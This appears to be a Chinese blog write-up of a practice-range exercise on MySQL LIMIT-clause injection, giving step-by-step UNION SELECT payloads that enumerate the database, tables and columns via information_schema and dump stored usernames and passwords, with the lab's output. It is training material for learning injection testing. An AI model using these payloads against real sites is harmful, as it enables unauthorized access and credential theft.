当前位置:网站首页>五号黯区靶场 mysql 注入之limit注入记录
五号黯区靶场 mysql 注入之limit注入记录
2022-07-30 05:51:00 【YouthBelief】
前言
感谢五号黯区团队。
limit 功能 通常在分页处
比如page 字段 可能存在
limit注入(不存在order by)
http://bug.cc:86/limit/limit.php?p=1
访问靶场如下图
原数据库语句如下
select * from users where id <= 100 limit $p,1
p为传参点
1.1 当p 为1时 sql语句和回显为
select * from users where id <= 100 limit 1,1
id:2 username:Angelina password:I-kill-you
1.2 测试是否存在sql注入
payload:输入2 --+
select * from users where id <= 100 limit 2 -- ,1
id:1 username:Dumb password:Dumb
id:2 username:Angelina password:I-kill-you
如上 注释掉了 后边的,- 查询出两条数据
sql语句 执行成功 说明存在sql注入
1.3 测试回显位(limit注入后不能用order by 判断列数 )
payload:1,0 union select 1,2,3 --+
select * from users where id <= 100 limit 1,0 union select 1,2,3 – ,1
id:1 username:2 password:3
1.4 爆数据
库
select * from users where id <= 100 limit 1,0 union select 1,2,database() -- ,1
id:1 username:2 password:security
表
select * from users where id <= 100 limit 1,0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- ,1
id:1 username:2 password:emails,referers,uagents,users
字段(两个语句锁定这个表)
select * from users where id <= 100 limit 1,0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() -- ,1
id:1 username:2 password:id,username,password
字段值
select * from users where id <= 100 limit 1,0 union select 1,2,group_concat(username,0x7e,password) from security.users -- ,1
id:1 username:2 password:Dumb~Dumb,Angelina~I-kill-you,[email protected],secure~crappy,stupid~stupidity,superman~genious,batman~mob!le,admin~admin,admin1~admin1,admin2~admin2,admin3~admin3,dhakkan~dumbo,admin4~admin4
1.5 总结
回显 传入 2–+ 测试 就可以显示出3个字段
后续测法就和正常union 联合一样 但是不能用order by 判断数据列数
边栏推荐
- 大飞机C919都用了哪些新材料?
- LVM和磁盘配额
- The Society of Mind - Marvin Minsky
- Electron使用romote报错 : Uncaught TypeError: Cannot read property ‘BrowserWindow‘ of undefined
- What new materials are used in the large aircraft C919?
- Selenium01
- (GGG)JWT
- Redis 如何实现防止超卖和库存扣减操作?
- Required request body is missing 问题解决
- Detailed explanation of numpy multidimensional array ndarray
猜你喜欢
随机推荐
Universal js time date format conversion
Local Implicit Grid Representations for 3D Scenes详解
Ali two sides: List several tips for Api interface optimization
From catching up to surpassing, domestic software shows its talents
go : 使用gorm修改数据
Playing script killing with AI: actually more involved than me
Electron日常学习笔记
Camera coordinate system, world coordinate system, pixel coordinate system conversion, and Fov conversion of OPENGLDEFocal Length and Opengl
DHCP原理与配置
Huawei released "ten inventions", including computing, intelligent driving and other new fields
相机坐标系,世界坐标系,像素坐标系三者转换,以及OPENGLDEFocal Length和Opengl 的 Fov转换
LVM和磁盘配额
千万级数据量的表,怎样最快速度查询?
export , export default, import complete usage
Station B collapsed, what would you do if you were the developer in charge that night?
sql concat()函数
MySQL什么时候用表锁,什么时候用行锁?
C#的访问修饰符,声明修饰符,关键字有哪些?扫盲篇
Ali Ermian: How many cluster solutions does Redis have?I answered 4
What happens when @Bean and @Component are used on the same class?